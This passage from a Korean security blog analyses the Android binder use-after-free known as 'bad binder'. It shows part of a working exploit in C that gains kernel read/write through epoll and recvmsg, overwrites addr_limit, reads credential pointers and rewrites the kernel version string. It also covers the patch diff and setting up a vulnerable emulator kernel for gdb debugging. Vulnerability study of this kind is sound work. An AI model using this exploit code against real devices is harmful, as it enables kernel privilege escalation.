   printf("CHILD: Finished EPOLL_CTL_DEL.\n");
   if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
     err(1, "write second chunk to socket");
   exit(0);
}
 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
 struct msghdr msg = {
  .msg_iov = iovec_array,
  .msg_iovlen = IOVEC_ARRAY_SZ
};
 int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
 printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
    (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
     iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
     iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
}

마찬가지로 자식 프로세스를 생성하여 block 및 recvmsg()를 통한 데이터 교환을 구현하였습니다. 특히 recvmsg()의 경우 iov_base에 받아온 데이터를 저장하는 기능을 활용하여 leak_task_struct 과정에서 구한 task_struct의 주소를 기반으로 addr_limit의 주소를 계산해서 해당 값을 overwrite 하였습니다.

main

나머지 main 문 입니다.

  setbuf(stdout, NULL);
 printf("should have stable kernel R/W now\n");

 /* in case you want to do stuff with the creds, to show that you can get them: */
 unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
 printf("current->mm == 0x%lx\n", current_mm);
 unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns);
 printf("current->mm->user_ns == 0x%lx\n", current_user_ns);
 unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns;
 printf("kernel base is 0x%lx\n", kernel_base);
 if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");
 unsigned long init_task = kernel_base + SYMBOL__init_task;
 printf("&init_task == 0x%lx\n", init_task);
 unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
 printf("init_task.cred == 0x%lx\n", init_task_cred);
 unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
 printf("current->cred == 0x%lx\n", my_cred);

 unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;
 char new_uts_version[] = "EXPLOITED KERNEL";
 kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));
}

해당 부분은 Arbitrary Read/Write 기능을 이용하여 프로세스의 정보를 가져온 뒤, cred를 덮어씌워 프로세스의 정보를 수정합니다.


Patch Note

patch는 다음에서 확인할 수 있습니다.

drivers/staging/android/binder.cbinder_free_thread()가 패치되었습니다.

static int binder_free_thread(struct binder_proc *proc,
     struct binder_thread *thread)
{
struct binder_transaction *t;
struct binder_transaction *send_reply = NULL;
int active_transactions = 0;

rb_erase(&thread->rb_node, &proc->threads);
t = thread->transaction_stack;
if (t && t->to_thread == thread)
send_reply = t;
while (t) {
active_transactions++;
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
    "release %d:%d transaction %d %s, still active\n",
     proc->pid, thread->pid,
    t->debug_id,
    (t->to_thread == thread) ? "in" : "out");

if (t->to_thread == thread) {
t->to_proc = NULL;
t->to_thread = NULL;
if (t->buffer) {
t->buffer->transaction = NULL;
t->buffer = NULL;
}
t = t->to_parent;
} else if (t->from == thread) {
t->from = NULL;
t = t->from_parent;
} else
BUG();
}

+ /*
+ * If this thread used poll, make sure we remove the waitqueue
+ * from any epoll data structures holding it with POLLFREE.
+ * waitqueue_active() is safe to use here because we're holding
+ * the global lock.
+ */
+ if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
+    waitqueue_active(&thread->wait)) {
+ wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
+ }

/*
* This is needed to avoid races between wake_up_poll() above and
* and ep_remove_waitqueue() called for other reasons (eg the epoll file
* descriptor being closed); ep_remove_waitqueue() holds an RCU read
* lock, so we can be sure it's done after calling synchronize_rcu().
*/
if (thread->looper & BINDER_LOOPER_STATE_POLL)
synchronize_rcu();

if (send_reply)
binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
binder_release_work(&thread->todo);
kfree(thread);
binder_stats_deleted(BINDER_STAT_THREAD);
return active_transactions;
}

+로 추가한 부분이 본 보고서에서 소개하는 use-after-free 취약점에 대응한 패치 내용인데, 해당 thread가 poll을 사용하는 경우 POLLFREE 플래그를 갖고 있는 epoll 데이터 구조체에서 waitqueue가 제대로 제거되었는지 확인함으로써 use-after-free가 발생하지 않도록 유도합니다.


Environment Setup

Summary

Environment : Ubuntu 18.04
Tool : Android Emulator
Kernel version : 4.4
API version : 19
Platform : arm
사용 도구

Android Emulator를 이용하여 환경을 구성하였습니다. Android Studio의 Command Line Tools만을 설치하여 사용할 수 있습니다. 참고

Kernel

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942에 따르면, 4.14 LTS kernel, AOSP android 3.18 kernel, AOSP android 4.4 kernel, AOSP android 4.9 kernel 등 다양한 환경에서 발생한 취약점임을 알 수 있습니다.

4.4 버전을 선택하였으며, 안드로이드용 에뮬레이터를 지원하는 가상 하드웨어인 goldfish를 사용하였습니다. goldfish의 Git repository는 다음과 같습니다. https://android.googlesource.com/kernel/goldfish/+/refs/heads/android-goldfish-4.4-dev

Previous Install

가장 먼저, Android Emulator를 사용하기 위해 호스트 OS에 Java가 설치되어야 합니다. jdk 11의 경우 sdkmanager를 사용함에 있어 오류를 발생시키는 것을 확인했습니다. jdk 8을 설치하는 것을 권장합니다.

$ sudo apt install openjdk-8-jdk
$ wget https://dl.google.com/android/repository/sdk-tools-linux-4333796.zip
$ unzip sdk-tools-linux-4333796.zip
$ mkdir ~/android_sdk
$ cp tools ~/android_sdk/.

Android Studio 사이트의 Command line tools only 부분에서 sdkmanager가 포함된 SDK package를 다운로드 받을 수 있습니다. 위와 같이 wget을 이용하여 다운로드 받은 뒤, 적당한 디렉토리에 tools 디렉토리를 옮겨서 사용할 수 있습니다.

설치가 완료되면 다음과 같이 환경 구성에 필요한 이미지 파일, 에뮬레이터 등을 설치할 수 있습니다. remote repository로 부터 다운로드 가능한 파일들의 정보는 sdkmanager --list 명령어 등을 통해 확인할 수 있습니다.

$ ~/android_sdk/tools/bin/sdkmanager --install "system-images;android-19;google_apis;armeabi-v7a"
$ ~/android_sdk/tools/bin/sdkmanager --install 'ndk-bundle'
$ ~/android_sdk/tools/bin/sdkmanager --install 'emulator'
$ ~/android_sdk/tools/bin/sdkmanager --install 'platforms;android-19'
$ ~/android_sdk/tools/bin/sdkmanager --install 'platform-tools'

Install

$ cd ~
$ mkdir android
$ cd android

$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
$ git clone https://android.googlesource.com/platform/prebuilts/qemu-kernel/

$ git clone https://android.googlesource.com/kernel/goldfish
$ cd goldfish
$ git checkout -t origin/android-goldfish-4.4-dev
$ cd ..

$ cp qemu-kernel/build-kernel.sh goldfish/
$ cp -r qemu-kernel/kernel-toolchain/ goldfish/

빌드 데이터를 위한 디렉토리를 생성하고, 크로스 컴파일을 위한 prebuilt 데이터들과 커널 빌드를 쉽게할 수 있는 도구를 설치합니다. 다른 버전의 크로스 컴파일러는 여기에서 설치할 수 있습니다.

golfish 역시 커널 버전에 따라 다양한 branch가 존재하는데 여기에서 확인할 수 있습니다.

build 스크립트와 kernel-toolchain을 복사해놓습니다.

취약점이 패치되기 이전 git history로 돌아갑니다.

$ git reset --hard b30d2b5deba5c198db738318cc32d23f515bb80e

git log를 통해 다음과 같이 550c01d0e051461437d6e9d72f573759e7bc5047에서 bad binder patch가 일어났음을 확인할 수 있습니다. 해당 패치 이전으로 git을 회귀합니다.

commit 550c01d0e051461437d6e9d72f573759e7bc5047
Author: Martijn Coenen <maco@android.com>
Date:   Fri Jan 5 11:27:07 2018 +0100

UPSTREAM: ANDROID: binder: remove waitqueue when thread exits.

binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in
a use-after-free.

Prevent this by using POLLFREE when the thread exits.

(cherry picked from commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f)

Change-Id: Ib34b1cbb8ab2192d78c3d9956b2f963a66ecad2e
Signed-off-by: Martijn Coenen <maco@android.com>
Reported-by: syzbot <syzkaller@googlegroups.com>
Cc: stable <stable@vger.kernel.org> # 4.14
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

commit b30d2b5deba5c198db738318cc32d23f515bb80e
Merge: 47af77b1dced 331b057d4f3c
Author: Greg Kroah-Hartman <gregkh@google.com>
Date:   Sat Feb 3 17:49:18 2018 +0100

...

Build

이제 커널을 빌드할 차례입니다. goldfish 디렉토리 내에서 필요한 환경변수들을 등록해놓고, 앞서 복사한 빌드 스크립트를 실행시킵니다.

$ export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- 
$ export PATH=/home/ch4rli3kop/android/arm-linux-androideabi-4.6/bin/:$PATH
$ ./build-kernel.sh --config="ranchu"

커널을 빌드하는 데에는 커널 버전과 크로스 컴파일러 버전에 따라 약간의 시간이 걸릴 수 있습니다. (경험상 짧게는 10분부터 길게는 2시간까지 다양하게 소요됨.)

빌드가 완료가 되면 vmlinux 파일과 Image 파일이 생성되었을 것입니다. Image 파일은 arm의 경우 arch/arm/boot/zImage 로 저장되어 있습니다.

이제 다음으로는 AVD(Android Virtual Devices) manager를 이용하여 에뮬레이트할 가상 기기를 생성한 뒤, emulator로 실행시키는 작업입니다. 다음과 같은 명령어로 가상 기기를 생성 및 실행시킬 수 있습니다.

$  ~/android_sdk/tools/bin/avdmanager create avd --force -k "system-images;android-19;google_apis;armeabi-v7a" -d 5 -n "kernel_test"

$ ~/android_sdk/emulator/emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_test -no-audio -no-boot-anim -no-window -no-snapshot -qemu  -s

특별히 중요한 옵션은 에뮬레이터의 -kernel 옵션(에뮬레이션된 커널 이미지 파일의 경로)와 -s 옵션(gdb debug option port 1234) 입니다.

Result

emulator를 실행하면 다음과 같이 kernel이 실행되어 shell이 띄워진 것을 확인할 수 있습니다.

init: /dev/hw_random not found
audit: type=1400 audit(26.340:5): avc: denied { entrypoint } for  pid=825 comm="init" path="/sbin/healthd" dev="rootfs" ino=3107 scontext=u:r:healthd:s0 tcontext=u:object_r:rootfs:s0 tclass=file permissive=1
healthd: No charger supplies found
healthd: BatteryStatusPath not found
healthd: BatteryHealthPath not found
healthd: BatteryPresentPath not found
healthd: BatteryCapacityPath not found
healthd: BatteryVoltagePath not found
healthd: BatteryTemperaturePath not found
healthd: BatteryTechnologyPath not found
binder: 825:825 transaction failed 29189/-22, size 0-0 line 3005
init: cannot find '/system/etc/install-recovery.sh', disabling 'flash_recovery'
audit: type=1405 audit(27.460:6): bool=in_qemu val=1 old_val=0 auid=4294967295 ses=4294967295
avc: received policyload notice (seqno=2)
init: property 'sys.powerctl' doesn't exist while expanding '${sys.powerctl}'
init: powerctl: cannot expand '${sys.powerctl}'
init: property 'sys.sysctl.extra_free_kbytes' doesn't exist while expanding '${sys.sysctl.extra_free_kbytes}'
init: cannot expand '${sys.sysctl.extra_free_kbytes}' while writing to '/proc/sys/vm/extra_free_kbytes'
capability: warning: `rild' uses 32-bit capabilities (legacy support in use)
shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
shell@generic:/ $

정상적으로 실행이 되는 것을 확인했다면, 이제 다른 터미널을 켜서 gdb attach할 단계입니다. 가장 먼저, arm-linux-androideabi-gdb를 이용하여 gdb를 실행하고 vmlinux 파일을 읽어들임으로써 커널의 심볼 정보들을 로드합니다. 이 후, 앞서 -s 옵션으로 열어두었던 gdb server에 attach합니다.

$ ~/android/arm-linux-androideabi-4.6/bin/arm-linux-androideabi-gdb ./vmlinux
(gdb) target remote :1234

다음은 이번 binder 취약점이 발생하는 remove_wait_queue()에 breakpoint를 건 상황입니다.

(gdb) b remove_wait_queue

Breakpoint 1, remove_wait_queue () at kernel/sched/wait.c:46
46 {
(gdb) disass
Dump of assembler code for function remove_wait_queue:
  0xc016ae18 <+0>: push {r3, r4, r5, lr}
=> 0xc016ae1c <+4>: mov r4, r1
  0xc016ae20 <+8>: mov r5, r0
  0xc016ae24 <+12>: bl 0xc06a4f44 <_raw_spin_lock_irqsave>
  0xc016ae28 <+16>: ldr r3, [r4, #16]
  0xc016ae2c <+20>: mov lr, #256 ; 0x100
  0xc016ae30 <+24>: ldr r2, [r4, #12]
  0xc016ae34 <+28>: mov r12, #512 ; 0x200
  0xc016ae38 <+32>: str r3, [r2, #4]
  0xc016ae3c <+36>: str r2, [r3]
  0xc016ae40 <+40>: str lr, [r4, #12]
  0xc016ae44 <+44>: str r12, [r4, #16]
  0xc016ae48 <+48>: mov r1, r0
  0xc016ae4c <+52>: mov r0, r5
  0xc016ae50 <+56>: pop {r3, r4, r5, lr}
  0xc016ae54 <+60>: b 0xc06a5094 <_raw_spin_unlock_irqrestore>
End of assembler dump.

여기까지 Android 환경의 취약점을 분석하기 위해 kernel debugging 환경을 구축하는 과정이었습니다. 위와 같은 과정을 통해 Android kernel을 분석할 수 있습니다.

Reference

- https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

- https://paper.seebug.org/947/

- https://github.com/Fuzion24/AndroidKernelExploitationPlayground

- http://thiébaud.fr/linux_gdb.html

- https://linoxide.com/linux-how-to/install-android-sdk-manager-ubuntu/

- https://developer.android.com/ndk/guides/abis?hl=ko

- https://android.googlesource.com/platform/prebuilts/gcc/

- https://android.googlesource.com/kernel/common/+/refs/heads/android-4.4-p

- https://android.googlesource.com/kernel/goldfish

- https://android.googlesource.com/platform/prebuilts/qemu-kernel/

- https://www.exploit-db.com/exploits/47463

- https://developer.android.com/studio/run/emulator-commandline?hl=ko#help

- https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885

- https://blog.csdn.net/bytxl/article/details/39151935

- https://en.wikipedia.org/wiki/Vectored_I/O

- https://docs.oracle.com/cd/E19683-01/806-5222/character-15613/index.html

- http://man7.org/linux/man-pages/man7/epoll.7.html

- https://www.oss.kr/info_techtip/show/32d5f561-b998-496c-a328-a58a5555e2c6

- https://d2.naver.com/helloworld/47656

반응형

'좀 열심히 쓴 글' 카테고리의 다른 글

Frida 및 nodejs 사용할 때 TMI  (4) 2020.06.04
Format String field width  (0) 2020.04.09
Unity IL2CPP 분석  (0) 2020.03.06
IL2CPP 메타데이터 노출 취약점 대응 방안  (4) 2020.03.06
시스템 수준 입출력(I/O)  (0) 2019.05.17